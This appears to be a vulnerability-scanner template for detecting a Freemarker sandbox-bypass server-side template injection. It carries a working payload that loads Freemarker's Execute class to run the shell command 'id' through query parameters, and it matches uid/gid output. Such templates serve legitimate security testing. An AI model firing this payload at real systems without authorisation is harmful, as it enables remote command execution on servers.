freemarker-sandbox-bypass-ssti: Freemarker < 2.3.30 Sandbox Bypass - Server Side Template Injection

id: freemarker-sandbox-bypass-ssti

info:
  name: Freemarker < 2.3.30 Sandbox Bypass - Server Side Template Injection
  author: ritikchaddha
  severity: high
  description: |
    Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.
  reference:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#freemarker---sandbox-bypass
  metadata:
    verified: true
  tags: ssti,dast,freemarker

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - "<#assign%20classloader=article.class.protectionDomain.classLoader><#assign%20owc=classloader.loadClass(%22freemarker.template.ObjectWrapper%22)><#assign%20dwf=owc.getField(%22DEFAULT_WRAPPER%22).get(null)><#assign%20ec=classloader.loadClass(%22freemarker.template.utility.Execute%22)>${dwf.newInstance(ec,null)(%22id%22)}"

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
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